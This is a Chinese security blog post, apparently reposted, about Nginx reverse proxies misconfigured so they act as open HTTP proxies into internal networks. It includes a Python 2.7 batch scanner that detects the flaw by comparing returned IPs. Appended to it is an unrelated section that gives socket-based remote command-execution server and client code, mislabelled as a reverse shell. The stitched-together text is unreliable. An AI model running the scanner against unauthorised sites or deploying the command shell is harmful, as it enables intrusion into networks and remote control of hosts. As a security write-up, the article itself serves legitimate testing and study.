刺透内网的HTTP代理

从偶然出发

在做测试的时候发现了这样一个漏洞,原请求报文如下:

GET / HTTP/1.1
Host: attack_website
[... HEADER ...]

...

当时最初目的是想测SSRF的,但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例,将请求报文中的URI部分替换成了网址:

http://gh0st.cn

就变成了如下的请求:

GET http://gh0st.cn HTTP/1.1
Host: attack_website
[... HEADER ...]

...

在BurpSuite里进行重放测试发现返回的响应正文就是http://gh0st.cn 的,也就是说这里的attack_website可以被作为HTTP代理,于是进入下一步的测试能否使用非http/https协议进行请求?例如file:/// ,测试后发现确实没办法这样玩,看来是这里代理服务器不支持。

在这里替换URI部分为内网的地址,可以直接漫游内网的系统,进行深入的渗透测试了,后续的事情就不在这多说了,那么来研究看看为什么会有这样的问题呢?

从被动偶然到主动发现

了解原理

查阅了一番资料和询问了一下朋友,都说具体的不太清楚,后来看见这样一篇文章:

https://www.secpulse.com/archives/74676.html

其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理,导致能被外部作为HTTP代理服务器。

正向代理 and 反向代理

正向代理

  • 浏览器(/全局)设置代理服务器IP和对应端口
  • 浏览器输入目标地址->代理服务器->目标服务器

简而言之,正向代理类似我们经常用到的跳板机,利用代理去访问外部的资源。

反向代理

跟正代不同的地方在于反向代理相对浏览器来说是透明的,不需要在浏览器(/全局)做什么配置,而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。

大致如下的流程:

  1. 浏览器访问网站(网站所指即反向代理服务器)
  2. 网站(反向代理服务器)做处理,将请求转发给所设置的目标服务器
  3. 由请求最终到达的目标服务器响应给网站(反向代理服务器),然后再通过其返回给浏览器

TIPs:

  • 一、反向代理服务器也可以变成WAF(例如Nginx支持反代功能,nginx+lua也可以搭建网站waf)
  • 二、反向代理服务器也可以起到负载均衡的作用,由反向代理服务器做选择分配Web服务器

主动发现脚本开发

脚本语言选择:python2.7

系统环境:all

思考

如何判断这个网站存在可以作为HTTP代理访问资源?唯一特征是什么?

脑子中唯一的思路就是IP,如果这目标站点能作为HTTP代理访问资源,那么我设置的这个资源就是返回真实IP的,这样就可以判断了~

这里我在团队官网上小小的写了一个,但是在大批量去测试却无法使用,因为官网的空间没那么大的吞吐量,承载不住高并发,后期建议大家使用 http://httpbin.org/ip 这个接口~

http://www.hi-ourlife.com/getip.php

PHP代码:

<?php
echo $_SERVER['REMOTE_ADDR'];
?>

代码构建

Import 库

import urllib, sys, re, json

全局变量:

poc = "http://www.hi-ourlife.com/getip.php"

获取使用代理访问资源后内容(IP)函数:

def useProxy(site):
        try:
                res = urllib.urlopen(poc, proxies={'http': site}).read()
                return res
        except:
                return getIP()

正常本机获取IP函数:

def getIP():
        res = urllib.urlopen(poc).read()
        return res

防止有些会出错返回的内容不是IP,其实返回不是IP也就间接证明不存在这种漏洞,所以需要写个正则来匹配,这时候判断是否是IP的函数就诞生了:

def isIP(ip):
    compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
    if compileIP.match(ip):
        return True
    else:
        return False

对比IP函数:

def isVul(site):
        resA = getIP()
        #print resA
        resB = useProxy(site)
        #print resB
        if resA == resB or not isIP(resB):
                print "\033[1;33m[INFO]\033[0m No Vulnerability!"
        else:
                print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
                print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)

单线程批量

从扫描器里把代码模板剥离了出来如下:

#-*- coding:utf-8 -*-
#Author: Vulkey_Chen

import urllib, sys, re, json

poc = "http://www.hi-ourlife.com/getip.php"

def useProxy(site):
        try:
                res = urllib.urlopen(poc, proxies={'http': site}).read()
                return res
        except:
                return getIP()

def getIP():
        res = urllib.urlopen(poc).read()
        return res

def getSite(filename):
        f = open(filename)
        res = []
        for line in f:
                res.append(line)
        return res

def isIP(ip):
    compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
    if compileIP.match(ip):
        return True
    else:
        return False

def isVul(site):
        resA = getIP()
        #print resA
        resB = useProxy(site)
        #print resB
        if resA == resB or not isIP(resB):
                print "\033[1;33m[INFO]\033[0m No Vulnerability!"
        else:
                print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
                print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)

def main(filename):
        for i in getSite(filename):
                isVul(i.replace("\n",""))

if __name__ == '__main__':
        main(sys.argv[1])

END

使用方法:python proxy_vul.py urls.txt

urls.txt 格式:

http://www.hi-ourlife.com/
https://gh0st.cn/
http://mst.hi-ourlife.com:8080/

建议批量方法:

扫描所有想检测站点的web服务端口(Nginx容器存在此类问题居多),然后使用脚本检测。

大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~

Python 内网穿刺(Python reverse shell)是一种技术,用于在一个局域网中的计算机上远程执行命令。它通常用于网络安全测试和渗透测试中,以验证系统的安全性。 在 Python 中,可以使用 `socket` 模块来实现一个简单的内网穿刺工具。下面是一个简单的例子: ```python import socket import subprocess # 设置监听的本地 IP 和端口号 host = '192.168.1.100' port = 1234 # 创建 socket 对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定 IP 和端口号 s.bind((host, port)) # 监听连接 s.listen(1) print(f"Listening on {host}:{port}...") # 接受连接 conn, addr = s.accept() print(f"Connected by {addr[0]}:{addr[1]}") # 循环接收和执行命令 while True: cmd = conn.recv(1024).decode() if cmd.lower() == 'exit': break output = subprocess.getoutput(cmd) conn.send(output.encode()) # 关闭连接 conn.close() ``` 以上代码是一个简单的服务器端程序,它会监听指定的 IP 和端口,接受客户端的连接,并将客户端发送的命令执行后返回结果。你可以将该代码保存为 `server.py` 并在服务器上运行。 客户端代码如下: ```python import socket # 设置服务器的 IP 和端口号 host = '192.168.1.100' port = 1234 # 创建 socket 对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器 s.connect((host, port)) # 循环发送命令并接收结果 while True: cmd = input("Enter command (or 'exit' to quit): ") s.send(cmd.encode()) if cmd.lower() == 'exit': break output = s.recv(1024).decode() print(output) # 关闭连接 s.close() ``` 以上代码是一个简单的客户端程序,它会连接到指定的服务器 IP 和端口,并发送用户输入的命令,并打印服务器返回的结果。你可以将该代码保存为 `client.py` 并在客户端上运行。 需要注意的是,内网穿刺是一种潜在的安全风险,使用时需要谨慎,并确保在合法授权的范围内进行使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值